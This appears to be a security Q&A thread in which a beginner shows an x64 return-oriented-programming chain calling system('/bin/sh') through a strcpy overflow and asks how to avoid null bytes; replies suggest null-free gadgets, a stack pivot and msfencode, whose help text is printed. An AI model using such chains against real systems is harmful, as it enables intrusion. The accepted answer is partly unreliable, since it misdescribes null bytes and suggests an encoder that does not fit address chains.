3

So I have this ROP chain for x64 architecture:

0x0000000000400b60: pop rdi; ret; 
0x482cf5 0x68732f6e69622f ('/bin/sh')
0x401550 <system>

In Payload:

\x60\x0b\40\x00\x00\x00\x00\x00\xf5\x2c\x48\x50\x15\x40

How should I get rid of 0? Since my buffer is overflown with strcpy and it stops on 0.

Any precise answer or general advices?

My effort was to build this ROP chain. Unfortunately, I am beginner, so I got stuck at this point.

Thanks,

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  • If you append NOP's (0x90), that should remove the 0x00.
    – dylan7
    Commented Mar 10, 2016 at 23:12
  • I use ROP chain since stack is not executable. 0x90 NOP is an execution.
    – dev
    Commented Mar 11, 2016 at 9:53
  • 2
    Well since you building an ROP chain you'll need to look for gadgets in the executable that contain such an instruction sequence or alternatives that do not use null bytes. There are such instructions. Or get your chain in memory some other way and stack pivot which is commonly done.
    – dylan7
    Commented Mar 11, 2016 at 17:48
  • Might be helpful resources.infosecinstitute.com/…
    – dylan7
    Commented Mar 11, 2016 at 17:54

1 Answer 1

1

Use msfencode: https://www.offensive-security.com/metasploit-unleashed/msfencode/

The 0's you're talking about are null bytes, which are essentially terminators. When ever the program encounters a null byte, the program is terminated. Using msgencode you can use the -b option to avoid the usage of null bytes.

In addition you might want to avoid other characters as well suchs 0x0A and 0x0D which are line breaks.

root@kali:~# msfencode -h

    Usage: /usr/bin/msfencode >options>

OPTIONS:

    -a >opt>  The architecture to encode as
    -b >opt>  The list of characters to avoid: '\x00\xff'
    -c >opt>  The number of times to encode the data
    -d >opt>  Specify the directory in which to look for EXE templates
    -e >opt>  The encoder to use
    -h        Help banner
    -i >opt>  Encode the contents of the supplied file path
    -k        Keep template working; run payload in new thread (use with -x)
    -l        List available encoders
    -m >opt>  Specifies an additional module search path
    -n        Dump encoder information
    -o >opt>  The output file
    -p >opt>  The platform to encode for
    -s >opt>  The maximum size of the encoded data
    -t >opt>  The output format: bash,c,csharp,dw,dword,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,dll,elf,exe,exe-only,exe-service,exe-small,loop-vbs,macho,msi,msi-nouac,psh,psh-net,psh-reflection,vba,vba-exe,vbs,war
    -v        Increase verbosity
    -x >opt>  Specify an alternate executable template

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